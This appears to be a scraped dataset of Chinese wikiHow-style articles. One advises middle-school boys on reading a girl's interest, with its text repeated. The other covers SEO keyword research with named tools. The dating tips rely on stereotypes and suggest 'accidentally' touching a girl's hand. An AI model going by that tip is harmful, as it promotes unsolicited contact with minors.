取悦和取笑看起来是两种截然不同的方式，但都是中学女孩对某位男孩喜欢的暗示。取悦有几种方式，比如抛媚眼、开玩笑等等。如果她取笑你的新发型，但换一种说法说比之前的有进步，那说明她在取悦你。
如果她在你周围表现得小鸟依人、有点呆萌、又特别爱玩爱闹，那她是在取悦你。
如果她取笑说你喜欢另一个女生，而你明显不喜欢她，那她可能只是想跟你打情骂俏而已。
3-5. 她是否问过你喜欢谁。
如果女生忽然对你喜欢谁感兴趣，问你想约会哪位女生，那她很可能想知道你是否喜欢她。如若是她有一个要好的朋友喜欢你，她只是作为第三者出门问，那另当别论。如果她老是烦你，问你到底喜欢谁，或者随意猜几个你根本不会喜欢的女生名字，那么她只是想借用八卦的名义靠近你而已。
如果她取笑你的前女友或其他你周围的女生，那只能说明她很嫉妒她们，因为她喜欢你。
3-6. 她是否在社交网络或短信里表达过对你的爱慕之意。
中学女生喜欢通过社交网络或手机短信表达爱意。记住另一条重要的法则：如果她关注你，那很可能是因为她喜欢你。如果她总是无缘无故发短信给你，或在你的空间上发表评论，那说明她可能喜欢你。
如果她在你的空间贴上你喜欢的网络链接或视频地址，那更能说明她喜欢你。
如果她通过短信问你周末在干嘛，那么说明她对你周末的安排感兴趣，因为她喜欢你。
查看她的网络空间动态。她是否跟其他男生的互动也如与你一般频繁，还是就对你比较特别？
4. 直接询问她是否喜欢你
4-1. 询问她的朋友。
询问她的朋友她是否对你有意思，并暗示她们你喜欢她，没有面对面跟她本人交谈挑战大。不过，假如你也是个害羞的人，不好意思当面问她，但又很想知道她的感觉，那你可以采用这种方法。她们可能不会直接告诉你她的感觉，但如果她们表现兴奋，而且鼓动你主动找她谈，那说明你有戏。但是，要注意的是，她们会马上告诉她你对她的感觉。
当然，如果她不喜欢你，朋友们会当面跟你说，也就省了面对面询问的尴尬。
4-2. 当面问她。
如果你有足够的勇气，也很想跟她约会，那么找个跟她独处的机会，例如放学回家的时候，问她对你的感觉如何。你可以先承认自己喜欢对方（如果你真的喜欢的话），等她反应。不要给她过多的压力，只是偶尔说你似乎感觉她喜欢你，但不知道她真实的想法如何。
你还可以赞扬她一下，这样好使气氛放松一点。
4-3. 不管结果怎样，都应给与合适的反应。
如果她承认她也喜欢你，你不必欢呼雀跃，不然你会看起来不够酷。你可以告诉她你很高兴听到这个答案，既然互相喜欢，是否可以找个合适的时间约会。如果她不喜欢你，也不要斤斤计较，打探个究竟。你可以简单地说，“那没关系，不要紧”，然后再平静地道别。这会让她感到你很自信，她或许之后还会喜欢上你呢。
不管发生什么事，都要牢记自己始终是个中学生。中学时代的恋情有意思，但通常很短暂，一般也不会有结果。所以就当是自己的一次愉快经历，即使这女生不喜欢你，还会有其他女生对你有好感的。
小提示
女生一般都喜欢男生主动，很少会主动先提出约会。因此，作为男生，不要在害羞了，主动迈出第一步吧。
不要太高傲自大，女生不喜欢太自我的男生。
充满自信地跟女生约会。约会前，要把自己打扮得卫生整洁，再喷上点香水。
不要直呼其名，不然有可能会冒犯人家。
她跟你说话时，你不要低头。跟她进行眼神的沟通交流，以显示出自己的自信。不然，她会觉得你很害羞，不够自信，没有主见。女生一般不喜欢这样的男生。
如果你们双方都不敢对视，只是匆匆地笑一下，打声招呼。这样的场面比较令人尴尬，双方都较易脸红。
不要主动挑起自己不熟悉的话题，不然你会无话可说，让你看起来呆头呆脑的，并且让双方都陷入尴尬的局面。
如果你发现她喜欢的是另一位男生，不要嫉妒或挑衅对方。不然，你会给她留下坏印象。
保持微笑。不要是僵硬的微笑，充满自信的微笑会让你更有魅力。
不要借助邮件、短信或其它非面对面的方式跟她约会。不然，会让你看起来不够Man，没有男人应该具有的气概。
不要废话连篇，惹她厌烦。（你如果要滔滔不绝，最好讲的是有意思的内容或笑话。）
不要试图以搭讪其他女生，而引起她的嫉妒。如果她知道你这样做只是为了试探她，她会很生气，再也不喜欢你了。
如果你们一起去游乐场玩，试着邀请她和她的朋友们一块儿乘坐过山车。假如她答应了，说明她可能喜欢你。
假如你发现是自己自作多情，她根本不喜欢你，也不要紧，只要继续过自己的生活就可以了。如果你耿耿于怀，只会让你俩的关系恶化。
如果她在不需要靠近你的时候，身体主动向你倾斜，说明她喜欢你。
不要总是问她天马行空的问题，不然她可能会觉得你很古怪。
女生在男生周围通常容易脸红，容易发笑。
表达你对她的关心，可以给她送个匿名礼物。她会开始猜测是谁在默默地喜欢她。
如果你跟她并排坐着，她将手臂放在你的座椅上，或者有意向你靠近，这说明她喜欢你。假如她高傲地抬起头，但还是不是低头看你，那么说明她可能喜欢你。
如果她跟你谈论其他男生，可能只是她想让你嫉妒。你可以顺着话题跟她谈其他女生，但不要谈论过多，不然她会以为你喜欢那个女生。
如果她在你旁边大声地说“好冷”，将你的外套脱下来给她穿。因为她刚才的话语只是在暗示你这样做。
女生喜欢你不小心轻摸到她的手，或轻轻地推推她，这样她会开始注意到你，并不时地想起你。
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她是否在你周围特别爱笑。\\n如果她在你周围老是无缘由地发笑，特别是大家都不觉得好笑的时候，那说明她喜欢你。笑是自然的掩盖紧张情绪的方式，所以她笑是因为要掩饰自己的紧张或兴奋情绪。\\n如果她本身就爱笑，那也不能说明问题。只有当她在你周围表现得与往日不同时，才说明她喜欢你。\\n2-3. 当她跟同伴一起的时候，她们经过你周围是否会发笑。\\n如果你经过她们身边时，她的同伴们会煞有介事地笑笑，并推推她，说明她们知道她喜欢你，正在开她玩笑。如果她说“别这样！”，一把推开她的朋友们，或者努力避开与你对视，那么更能说明她对你有感觉。\\n中学女生喜欢你的话，她通常会告诉她要好的朋友们。仔细观察她朋友们的反应，你会得到暗示。\\n2-4. 她是否喜欢无意间跟你有身体上的接触。\\n她可能会高兴地推推你，或拍拍你的肩膀试图告诉你些东西。这是她与你搭讪的方式，她想要靠近你。不过，你要注意，这是否只是她的行为习惯而已。如果她不喜欢跟其他男生有身体接触，而就对你是特别的，那说明她喜欢你。\\n如果她跟其他男生说话的时候也喜欢拍拍他们的肩膀，那就不能说明问题了。\\n2-5. 她是否会送你小礼物。\\n如果她在陶瓷店做了一个可爱的小碗，拿来给你做礼物，或者她在商场给你买了一只铅笔，只是因为上面印有你喜欢的球队标语，那么她在向你暗示她喜欢你。又或者她做了些糖果或糕点带到学校，指明要给你一些，那么她是为了给你留下个好印象，因为她喜欢你。\\n3. 观察她的语言\\n3-1. 她是否专挑你俩共同感兴趣的话题谈。\\n她知道你喜欢的篮球队是火箭队，就跟你谈起了火箭队，很可能是因为她喜欢你所以补习了篮球的知识。如果她知道你喜欢看《灌篮高手》，便跟你讨论起了片里的角色，她也许只是让你对她产生好的印象而已。\\n假如之前她对你的兴趣一无所知，也毫无兴趣，但突然有一天忽然喜欢上你所喜欢的东西，那很可能是因为她喜欢你。\\n3-2. 她是否总想找你讲话。\\n如果她过来问你一个很简单的问题，你知道她可以轻而易举地从他人那里知道答案，如她问考试难不难，你在健身房都练些什么等等，那她很可能是找借口跟你交谈。如果她问你觉得某个老师怎么样，或某个新来的同学如何，她只是随便问问，重点是跟你交谈。\\n3-3. 她是否经常取笑你。\\n如果女生取笑你，基本上可以肯定的是，她喜欢你。如果她从你的鞋子一直取笑到你的新衣服，还取笑你的抽屉有多脏，很可能她只是想在你的身边，所以找个话题而已。她对你的取笑有时听起来会有些刻薄，但并不意味着她不喜欢你。\\n记住这条黄金法则：她关注你，就说明她喜欢你。而取笑是另一种方式的关注。\\n3-4. 她是否取悦你。\\n取悦和取笑看起来是两种截然不同的方式，但都是中学女孩对某位男孩喜欢的暗示。取悦有几种方式，比如抛媚眼、开玩笑等等。如果她取笑你的新发型，但换一种说法说比之前的有进步，那说明她在取悦你。\\n如果她在你周围表现得小鸟依人、有点呆萌、又特别爱玩爱闹，那她是在取悦你。\\n如果她取笑说你喜欢另一个女生，而你明显不喜欢她，那她可能只是想跟你打情骂俏而已。\\n3-5. 她是否问过你喜欢谁。\\n如果女生忽然对你喜欢谁感兴趣，问你想约会哪位女生，那她很可能想知道你是否喜欢她。如若是她有一个要好的朋友喜欢你，她只是作为第三者出门问，那另当别论。如果她老是烦你，问你到底喜欢谁，或者随意猜几个你根本不会喜欢的女生名字，那么她只是想借用八卦的名义靠近你而已。\\n如果她取笑你的前女友或其他你周围的女生，那只能说明她很嫉妒她们，因为她喜欢你。\\n3-6. 她是否在社交网络或短信里表达过对你的爱慕之意。\\n中学女生喜欢通过社交网络或手机短信表达爱意。记住另一条重要的法则：如果她关注你，那很可能是因为她喜欢你。如果她总是无缘无故发短信给你，或在你的空间上发表评论，那说明她可能喜欢你。\\n如果她在你的空间贴上你喜欢的网络链接或视频地址，那更能说明她喜欢你。\\n如果她通过短信问你周末在干嘛，那么说明她对你周末的安排感兴趣，因为她喜欢你。\\n查看她的网络空间动态。她是否跟其他男生的互动也如与你一般频繁，还是就对你比较特别？\\n4. 直接询问她是否喜欢你\\n4-1. 询问她的朋友。\\n询问她的朋友她是否对你有意思，并暗示她们你喜欢她，没有面对面跟她本人交谈挑战大。不过，假如你也是个害羞的人，不好意思当面问她，但又很想知道她的感觉，那你可以采用这种方法。她们可能不会直接告诉你她的感觉，但如果她们表现兴奋，而且鼓动你主动找她谈，那说明你有戏。但是，要注意的是，她们会马上告诉她你对她的感觉。\\n当然，如果她不喜欢你，朋友们会当面跟你说，也就省了面对面询问的尴尬。\\n4-2. 当面问她。\\n如果你有足够的勇气，也很想跟她约会，那么找个跟她独处的机会，例如放学回家的时候，问她对你的感觉如何。你可以先承认自己喜欢对方（如果你真的喜欢的话），等她反应。不要给她过多的压力，只是偶尔说你似乎感觉她喜欢你，但不知道她真实的想法如何。\\n你还可以赞扬她一下，这样好使气氛放松一点。\\n4-3. 不管结果怎样，都应给与合适的反应。\\n如果她承认她也喜欢你，你不必欢呼雀跃，不然你会看起来不够酷。你可以告诉她你很高兴听到这个答案，既然互相喜欢，是否可以找个合适的时间约会。如果她不喜欢你，也不要斤斤计较，打探个究竟。你可以简单地说，“那没关系，不要紧”，然后再平静地道别。这会让她感到你很自信，她或许之后还会喜欢上你呢。\\n不管发生什么事，都要牢记自己始终是个中学生。中学时代的恋情有意思，但通常很短暂，一般也不会有结果。所以就当是自己的一次愉快经历，即使这女生不喜欢你，还会有其他女生对你有好感的。\\n小提示\\n女生一般都喜欢男生主动，很少会主动先提出约会。因此，作为男生，不要在害羞了，主动迈出第一步吧。\\n不要太高傲自大，女生不喜欢太自我的男生。\\n充满自信地跟女生约会。约会前，要把自己打扮得卫生整洁，再喷上点香水。\\n不要直呼其名，不然有可能会冒犯人家。\\n她跟你说话时，你不要低头。跟她进行眼神的沟通交流，以显示出自己的自信。不然，她会觉得你很害羞，不够自信，没有主见。女生一般不喜欢这样的男生。\\n如果你们双方都不敢对视，只是匆匆地笑一下，打声招呼。这样的场面比较令人尴尬，双方都较易脸红。\\n不要主动挑起自己不熟悉的话题，不然你会无话可说，让你看起来呆头呆脑的，并且让双方都陷入尴尬的局面。\\n如果你发现她喜欢的是另一位男生，不要嫉妒或挑衅对方。不然，你会给她留下坏印象。\\n保持微笑。不要是僵硬的微笑，充满自信的微笑会让你更有魅力。\\n不要借助邮件、短信或其它非面对面的方式跟她约会。不然，会让你看起来不够Man，没有男人应该具有的气概。\\n不要废话连篇，惹她厌烦。（你如果要滔滔不绝，最好讲的是有意思的内容或笑话。）\\n不要试图以搭讪其他女生，而引起她的嫉妒。如果她知道你这样做只是为了试探她，她会很生气，再也不喜欢你了。\\n如果你们一起去游乐场玩，试着邀请她和她的朋友们一块儿乘坐过山车。假如她答应了，说明她可能喜欢你。\\n假如你发现是自己自作多情，她根本不喜欢你，也不要紧，只要继续过自己的生活就可以了。如果你耿耿于怀，只会让你俩的关系恶化。\\n如果她在不需要靠近你的时候，身体主动向你倾斜，说明她喜欢你。\\n不要总是问她天马行空的问题，不然她可能会觉得你很古怪。\\n女生在男生周围通常容易脸红，容易发笑。\\n表达你对她的关心，可以给她送个匿名礼物。她会开始猜测是谁在默默地喜欢她。\\n如果你跟她并排坐着，她将手臂放在你的座椅上，或者有意向你靠近，这说明她喜欢你。假如她高傲地抬起头，但还是不是低头看你，那么说明她可能喜欢你。\\n如果她跟你谈论其他男生，可能只是她想让你嫉妒。你可以顺着话题跟她谈其他女生，但不要谈论过多，不然她会以为你喜欢那个女生。\\n如果她在你旁边大声地说“好冷”，将你的外套脱下来给她穿。因为她刚才的话语只是在暗示你这样做。\\n女生喜欢你不小心轻摸到她的手，或轻轻地推推她，这样她会开始注意到你，并不时地想起你。\\n\", \"简要回答\": \"判断一位中学女生是否喜欢你可能并不那么容易，特别是一些害羞的女生，她们可能根本不会表达对某位男生的感觉。不过，即使是外向开朗的女生，你可能也会误解她的意思。当然，如果女孩喜欢你，她还是会表达出某些特殊的信息。假如你对辨别这些信息感兴趣，不妨读读下面这篇文章。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"观察她的衣着外貌\", \"步骤\": [{\"编号\": 1, \"标题\": \"观察她的肢体语言。\", \"描述\": \"肢体语言有很大的指导意义。她可能表面上不会说自己喜欢你，但她的肢体语言会出卖她的内心。如果她喜欢你，她会面对面地与你交谈，并将身体微微向你倾斜，这样可以更加接近你。下面是其它的一些暗示动作：\\n观察她与你说话时是否喜欢玩弄自己的头发，或低头看脚。如果是，说明她说话的时候紧张害羞，因为她喜欢你。\\n观察她与你说话时是否不断踱步，并玩弄手指或佩戴的首饰。如果是，说明她喜欢你所以紧张。\\n观察她与你说话时的眼神是否有意躲闪。假如她经常有意避开你的眼神，说明她可能喜欢你所以紧张。\\n观察她与你说话时是否爱笑。如果你没有说什么搞笑的东西，而她总是禁不住地笑，那说明她可能喜欢你。\"}, {\"编号\": 2, \"标题\": \"观察她的衣着打扮。\", \"描述\": \"你是否觉得她每次出现在你周围的时候，比平时打扮得更漂亮？如果她知道你也会出现在某个商场，而你撞到她的时候，她比平时穿得更好看，她或许是特别为你而打扮的。假如她知道周末会遇见你，而特地在那天穿上一条新裙子，可能是因为她喜欢你。\\n她还可能在你周围的时候特别喷上香水。如果你知道她平时并不用香水，而跟你们一群人去看电影的时候突然喷上了香水，或许她是特别为你喷的。\"}, {\"编号\": 3, \"标题\": \"观察她是否脸红。\", \"描述\": \"这个表现能清楚地说明她喜欢你。如果你发现她跟你对视后立马脸红，或者跟你说着说着就脸红了，那说明她因为喜欢你而害羞紧张。不过得观察一段时间，如果这女孩本身就很害羞，那就不是你的原因了。如果她只在你的面前脸红，就说明你对她来说是特别的。\"}]}, {\"编号\": 2, \"标题\": \"观察她的行为\", \"步骤\": [{\"编号\": 1, \"标题\": \"她是否会经常关注你。\", \"描述\": \"在英语课堂上，你无意中看往她的方向，而她正在盯着你看，说明她可能喜欢你。看到你注意到她之后，转而把视线落在其它地方，或脸红，或看向其它同学，那就更能说明她喜欢你了。一群人一起出去玩的时候，你也可以观察她是否有意无意要关注你，还有一起去参加派对的时候。\\n如果她本来就喜欢做白日梦，经常目光游离，那她刚好看到你的方向不能说明问题。\"}, {\"编号\": 2, \"标题\": \"她是否在你周围特别爱笑。\", \"描述\": \"如果她在你周围老是无缘由地发笑，特别是大家都不觉得好笑的时候，那说明她喜欢你。笑是自然的掩盖紧张情绪的方式，所以她笑是因为要掩饰自己的紧张或兴奋情绪。\\n如果她本身就爱笑，那也不能说明问题。只有当她在你周围表现得与往日不同时，才说明她喜欢你。\"}, {\"编号\": 3, \"标题\": \"当她跟同伴一起的时候，她们经过你周围是否会发笑。\", \"描述\": \"如果你经过她们身边时，她的同伴们会煞有介事地笑笑，并推推她，说明她们知道她喜欢你，正在开她玩笑。如果她说“别这样！”，一把推开她的朋友们，或者努力避开与你对视，那么更能说明她对你有感觉。\\n中学女生喜欢你的话，她通常会告诉她要好的朋友们。仔细观察她朋友们的反应，你会得到暗示。\"}, {\"编号\": 4, \"标题\": \"她是否喜欢无意间跟你有身体上的接触。\", \"描述\": \"她可能会高兴地推推你，或拍拍你的肩膀试图告诉你些东西。这是她与你搭讪的方式，她想要靠近你。不过，你要注意，这是否只是她的行为习惯而已。如果她不喜欢跟其他男生有身体接触，而就对你是特别的，那说明她喜欢你。\\n如果她跟其他男生说话的时候也喜欢拍拍他们的肩膀，那就不能说明问题了。\"}, {\"编号\": 5, \"标题\": \"她是否会送你小礼物。\", \"描述\": \"如果她在陶瓷店做了一个可爱的小碗，拿来给你做礼物，或者她在商场给你买了一只铅笔，只是因为上面印有你喜欢的球队标语，那么她在向你暗示她喜欢你。又或者她做了些糖果或糕点带到学校，指明要给你一些，那么她是为了给你留下个好印象，因为她喜欢你。\"}]}, {\"编号\": 3, \"标题\": \"观察她的语言\", \"步骤\": [{\"编号\": 1, \"标题\": \"她是否专挑你俩共同感兴趣的话题谈。\", \"描述\": \"她知道你喜欢的篮球队是火箭队，就跟你谈起了火箭队，很可能是因为她喜欢你所以补习了篮球的知识。如果她知道你喜欢看《灌篮高手》，便跟你讨论起了片里的角色，她也许只是让你对她产生好的印象而已。\\n假如之前她对你的兴趣一无所知，也毫无兴趣，但突然有一天忽然喜欢上你所喜欢的东西，那很可能是因为她喜欢你。\"}, {\"编号\": 2, \"标题\": \"她是否总想找你讲话。\", \"描述\": \"如果她过来问你一个很简单的问题，你知道她可以轻而易举地从他人那里知道答案，如她问考试难不难，你在健身房都练些什么等等，那她很可能是找借口跟你交谈。如果她问你觉得某个老师怎么样，或某个新来的同学如何，她只是随便问问，重点是跟你交谈。\"}, {\"编号\": 3, \"标题\": \"她是否经常取笑你。\", \"描述\": \"如果女生取笑你，基本上可以肯定的是，她喜欢你。如果她从你的鞋子一直取笑到你的新衣服，还取笑你的抽屉有多脏，很可能她只是想在你的身边，所以找个话题而已。她对你的取笑有时听起来会有些刻薄，但并不意味着她不喜欢你。\\n记住这条黄金法则：她关注你，就说明她喜欢你。而取笑是另一种方式的关注。\"}, {\"编号\": 4, \"标题\": \"她是否取悦你。\", \"描述\": \"取悦和取笑看起来是两种截然不同的方式，但都是中学女孩对某位男孩喜欢的暗示。取悦有几种方式，比如抛媚眼、开玩笑等等。如果她取笑你的新发型，但换一种说法说比之前的有进步，那说明她在取悦你。\\n如果她在你周围表现得小鸟依人、有点呆萌、又特别爱玩爱闹，那她是在取悦你。\\n如果她取笑说你喜欢另一个女生，而你明显不喜欢她，那她可能只是想跟你打情骂俏而已。\"}, {\"编号\": 5, \"标题\": \"她是否问过你喜欢谁。\", \"描述\": \"如果女生忽然对你喜欢谁感兴趣，问你想约会哪位女生，那她很可能想知道你是否喜欢她。如若是她有一个要好的朋友喜欢你，她只是作为第三者出门问，那另当别论。如果她老是烦你，问你到底喜欢谁，或者随意猜几个你根本不会喜欢的女生名字，那么她只是想借用八卦的名义靠近你而已。\\n如果她取笑你的前女友或其他你周围的女生，那只能说明她很嫉妒她们，因为她喜欢你。\"}, {\"编号\": 6, \"标题\": \"她是否在社交网络或短信里表达过对你的爱慕之意。\", \"描述\": \"中学女生喜欢通过社交网络或手机短信表达爱意。记住另一条重要的法则：如果她关注你，那很可能是因为她喜欢你。如果她总是无缘无故发短信给你，或在你的空间上发表评论，那说明她可能喜欢你。\\n如果她在你的空间贴上你喜欢的网络链接或视频地址，那更能说明她喜欢你。\\n如果她通过短信问你周末在干嘛，那么说明她对你周末的安排感兴趣，因为她喜欢你。\\n查看她的网络空间动态。她是否跟其他男生的互动也如与你一般频繁，还是就对你比较特别？\"}]}, {\"编号\": 4, \"标题\": \"直接询问她是否喜欢你\", \"步骤\": [{\"编号\": 1, \"标题\": \"询问她的朋友。\", \"描述\": \"询问她的朋友她是否对你有意思，并暗示她们你喜欢她，没有面对面跟她本人交谈挑战大。不过，假如你也是个害羞的人，不好意思当面问她，但又很想知道她的感觉，那你可以采用这种方法。她们可能不会直接告诉你她的感觉，但如果她们表现兴奋，而且鼓动你主动找她谈，那说明你有戏。但是，要注意的是，她们会马上告诉她你对她的感觉。\\n当然，如果她不喜欢你，朋友们会当面跟你说，也就省了面对面询问的尴尬。\"}, {\"编号\": 2, \"标题\": \"当面问她。\", \"描述\": \"如果你有足够的勇气，也很想跟她约会，那么找个跟她独处的机会，例如放学回家的时候，问她对你的感觉如何。你可以先承认自己喜欢对方（如果你真的喜欢的话），等她反应。不要给她过多的压力，只是偶尔说你似乎感觉她喜欢你，但不知道她真实的想法如何。\\n你还可以赞扬她一下，这样好使气氛放松一点。\"}, {\"编号\": 3, \"标题\": \"不管结果怎样，都应给与合适的反应。\", \"描述\": \"如果她承认她也喜欢你，你不必欢呼雀跃，不然你会看起来不够酷。你可以告诉她你很高兴听到这个答案，既然互相喜欢，是否可以找个合适的时间约会。如果她不喜欢你，也不要斤斤计较，打探个究竟。你可以简单地说，“那没关系，不要紧”，然后再平静地道别。这会让她感到你很自信，她或许之后还会喜欢上你呢。\\n不管发生什么事，都要牢记自己始终是个中学生。中学时代的恋情有意思，但通常很短暂，一般也不会有结果。所以就当是自己的一次愉快经历，即使这女生不喜欢你，还会有其他女生对你有好感的。\"}], \"小提示\": [\"女生一般都喜欢男生主动，很少会主动先提出约会。因此，作为男生，不要在害羞了，主动迈出第一步吧。\\n\", \"不要太高傲自大，女生不喜欢太自我的男生。\\n\", \"充满自信地跟女生约会。约会前，要把自己打扮得卫生整洁，再喷上点香水。\\n\", \"不要直呼其名，不然有可能会冒犯人家。\\n\", \"她跟你说话时，你不要低头。跟她进行眼神的沟通交流，以显示出自己的自信。不然，她会觉得你很害羞，不够自信，没有主见。女生一般不喜欢这样的男生。\\n\", \"如果你们双方都不敢对视，只是匆匆地笑一下，打声招呼。这样的场面比较令人尴尬，双方都较易脸红。\\n\", \"不要主动挑起自己不熟悉的话题，不然你会无话可说，让你看起来呆头呆脑的，并且让双方都陷入尴尬的局面。\\n\", \"如果你发现她喜欢的是另一位男生，不要嫉妒或挑衅对方。不然，你会给她留下坏印象。\\n\", \"保持微笑。不要是僵硬的微笑，充满自信的微笑会让你更有魅力。\\n\", \"不要借助邮件、短信或其它非面对面的方式跟她约会。不然，会让你看起来不够Man，没有男人应该具有的气概。\\n\", \"不要废话连篇，惹她厌烦。（你如果要滔滔不绝，最好讲的是有意思的内容或笑话。）\\n\", \"不要试图以搭讪其他女生，而引起她的嫉妒。如果她知道你这样做只是为了试探她，她会很生气，再也不喜欢你了。\\n\", \"如果你们一起去游乐场玩，试着邀请她和她的朋友们一块儿乘坐过山车。假如她答应了，说明她可能喜欢你。\\n\", \"假如你发现是自己自作多情，她根本不喜欢你，也不要紧，只要继续过自己的生活就可以了。如果你耿耿于怀，只会让你俩的关系恶化。\\n\", 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"问题明细": "",
"扩展字段": ""
} | wikihow |
14,681 | 如何做关键字调查 | 1. 集体研讨
1-1. 选几个对你的产品非常熟悉的人，让他们写下他们心中最好的1至3个词，然后结合起来，用以描述你的产品。
1-2. 确保每钟关键字都最少有10个字，下面有几种常用的关键字设计：
商标语，用你的商标命名产品，如果人们早就知道了你的产品，就用你的商标命名产品，因为你可以把你的网址和广告直接链接到产品页面。
产品，列出10到20个最受欢迎的产品，在这个时候人们可能还对你一无所知，但是他们会找一个特定的产品。
对手关键词。要把对手的最火产品也列出来，在你的网站上作比较，即使你的网站会显示在对方之后，但是这确实有助于你与之竞争。
相似产品和赠品。如果你了解到人们通常都是买套装，就把赠品也附在搜索词里。比如说，人们买棕色鞋子的时候可能也会需要棕色袜子。
研究买家条款。这些流行趋势的条目可能可以应用于人口统计学，看看购买你产品的买家而不是产品本身，记住可能要在网站上提到这种受欢迎的程度，也不要过于强求。要想成功利用买家条款，你要研究市场统计学或者雇人来做市场调查研究。
1-3. 去soovle.com找出主要网站中最热门的搜索，你可以打一个字，然后搜索框中就会出现搜索引擎上最热门的相关词语.
这个可以帮你找到最有价值的长尾关键词，一般是具有极强针对性的2-4词组成的短语，但并不是经常被检索的。
1-4. 为每个网站重复这个过程。
如果你的网站出售数以百计的不同产品，你的列表应该更广泛。
2. 关键字受欢迎程度
2-1. 登录Google免费关键字工具，网址是adwords.google.com/o/KeywordTool/。
谷歌已经声明他们要关闭外部关键字工具，然而你也许可以创建或者注册一个谷歌AdWords账户，从而进入“关键字计划大师”。
2-2. 试试www.semrush.com，这些是可供选择的关键字搜索工具，找到免费的选项，因为这种网站既有要付费的项目，也有免费的项目。
2-3. 在你进行关键字工具调查的时候，把那些无人问津的结果排除掉。
3. 对手调查
3-1. 每个主要的搜索引擎都要做调查。
用谷歌、微软必应或者其他网站简单地提出你的疑问。
3-2. 注意哪些搜索引擎有几乎不用付费的广告边栏，而哪些要付费。
你可以找到高价值的搜索项。
3-3. 你可以参考有组织的广告关键词清单，把这些跟你的清单比较一下，看看它们的价值在哪里。
3-4. 分析高价值的关键词，你可以查查有关点击成本（CPC）的信息，从而衡量你的预算能不能承担特定关键词的费用。
大多数点击付费（PPC）广告都要通过点击成本（CPC）竞标来运行。一般来说，趋势预测和工业项目对一些商家来说太贵了。尽管你还是可以在有机搜索引擎优化（SEO）上使用，但它们不太可能会对你的点击付费广告（PPC）关键词有所帮助。
3-5. 登录keywordspy.com，输入你剩下的关键词，然后按搜索。
记住在搜索之前要选择“关键词”。
3-6. 写下每次点击费用的信息。
4. 最后的清单
4-1. 选10个你认为最有价值的关键词清单，应该控制在1至2个词。
4-2. 选10个长尾关键词，应该为3到4个词。
4-3. 在谷歌浏览器的工具栏中安装SEOQuake，这个插件可以向你详细展示有多少搜索在运行。
4-4. 用SEOQuake查找你所有的项目。
4-5. 评估每个关键字的价值和质量。
4-6. 最后敲定你要用的清单。
5. 关键字测试
5-1. 进入关键词测试阶段。
5-2. 注册谷歌关键词或者微软AdCenter账户。
5-3. 开始使用你最喜欢的关键词来进行广告活动。
注意平衡预算。
5-4. 广告最少运行两周。
之后回到你的账户中，看看哪个广告最成功，那就是你最有价值的关键字。
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"create_time": "20230517 11:02:14",
"回答明细": "{\"回答\": \"1. 集体研讨\\n1-1. 选几个对你的产品非常熟悉的人，让他们写下他们心中最好的1至3个词，然后结合起来，用以描述你的产品。\\n\\n1-2. 确保每钟关键字都最少有10个字，下面有几种常用的关键字设计：\\n\\n商标语，用你的商标命名产品，如果人们早就知道了你的产品，就用你的商标命名产品，因为你可以把你的网址和广告直接链接到产品页面。\\n产品，列出10到20个最受欢迎的产品，在这个时候人们可能还对你一无所知，但是他们会找一个特定的产品。\\n对手关键词。要把对手的最火产品也列出来，在你的网站上作比较，即使你的网站会显示在对方之后，但是这确实有助于你与之竞争。\\n相似产品和赠品。如果你了解到人们通常都是买套装，就把赠品也附在搜索词里。比如说，人们买棕色鞋子的时候可能也会需要棕色袜子。\\n研究买家条款。这些流行趋势的条目可能可以应用于人口统计学，看看购买你产品的买家而不是产品本身，记住可能要在网站上提到这种受欢迎的程度，也不要过于强求。要想成功利用买家条款，你要研究市场统计学或者雇人来做市场调查研究。\\n1-3. 去soovle.com找出主要网站中最热门的搜索，你可以打一个字，然后搜索框中就会出现搜索引擎上最热门的相关词语.\\n\\n这个可以帮你找到最有价值的长尾关键词，一般是具有极强针对性的2-4词组成的短语，但并不是经常被检索的。\\n1-4. 为每个网站重复这个过程。\\n如果你的网站出售数以百计的不同产品，你的列表应该更广泛。\\n2. 关键字受欢迎程度\\n2-1. 登录Google免费关键字工具，网址是adwords.google.com/o/KeywordTool/。\\n谷歌已经声明他们要关闭外部关键字工具，然而你也许可以创建或者注册一个谷歌AdWords账户，从而进入“关键字计划大师”。\\n2-2. 试试www.semrush.com，这些是可供选择的关键字搜索工具，找到免费的选项，因为这种网站既有要付费的项目，也有免费的项目。\\n\\n2-3. 在你进行关键字工具调查的时候，把那些无人问津的结果排除掉。\\n\\n3. 对手调查\\n3-1. 每个主要的搜索引擎都要做调查。\\n用谷歌、微软必应或者其他网站简单地提出你的疑问。\\n3-2. 注意哪些搜索引擎有几乎不用付费的广告边栏，而哪些要付费。\\n你可以找到高价值的搜索项。\\n3-3. 你可以参考有组织的广告关键词清单，把这些跟你的清单比较一下，看看它们的价值在哪里。\\n\\n3-4. 分析高价值的关键词，你可以查查有关点击成本（CPC）的信息，从而衡量你的预算能不能承担特定关键词的费用。\\n大多数点击付费（PPC）广告都要通过点击成本（CPC）竞标来运行。一般来说，趋势预测和工业项目对一些商家来说太贵了。尽管你还是可以在有机搜索引擎优化（SEO）上使用，但它们不太可能会对你的点击付费广告（PPC）关键词有所帮助。\\n3-5. 登录keywordspy.com，输入你剩下的关键词，然后按搜索。\\n记住在搜索之前要选择“关键词”。\\n3-6. 写下每次点击费用的信息。\\n\\n4. 最后的清单\\n4-1. 选10个你认为最有价值的关键词清单，应该控制在1至2个词。\\n\\n4-2. 选10个长尾关键词，应该为3到4个词。\\n\\n4-3. 在谷歌浏览器的工具栏中安装SEOQuake，这个插件可以向你详细展示有多少搜索在运行。\\n\\n4-4. 用SEOQuake查找你所有的项目。\\n\\n4-5. 评估每个关键字的价值和质量。\\n\\n4-6. 最后敲定你要用的清单。\\n\\n5. 关键字测试\\n5-1. 进入关键词测试阶段。\\n\\n5-2. 注册谷歌关键词或者微软AdCenter账户。\\n\\n5-3. 开始使用你最喜欢的关键词来进行广告活动。\\n注意平衡预算。\\n5-4. 广告最少运行两周。\\n之后回到你的账户中，看看哪个广告最成功，那就是你最有价值的关键字。\\n\", \"简要回答\": \"对于网络销售的销售量的产生和增加而言，建立网站最有价值的关键字是非常关键的。你需要投入一些时间进行集体研讨，在用关键字之前先用搜索引擎优化（SEO）调查和测试。让我们来学学如何按照下面的步骤做关键字调查吧！\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"集体研讨\", \"步骤\": [{\"编号\": 1, \"标题\": \"选几个对你的产品非常熟悉的人，让他们写下他们心中最好的1至3个词，然后结合起来，用以描述你的产品。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": 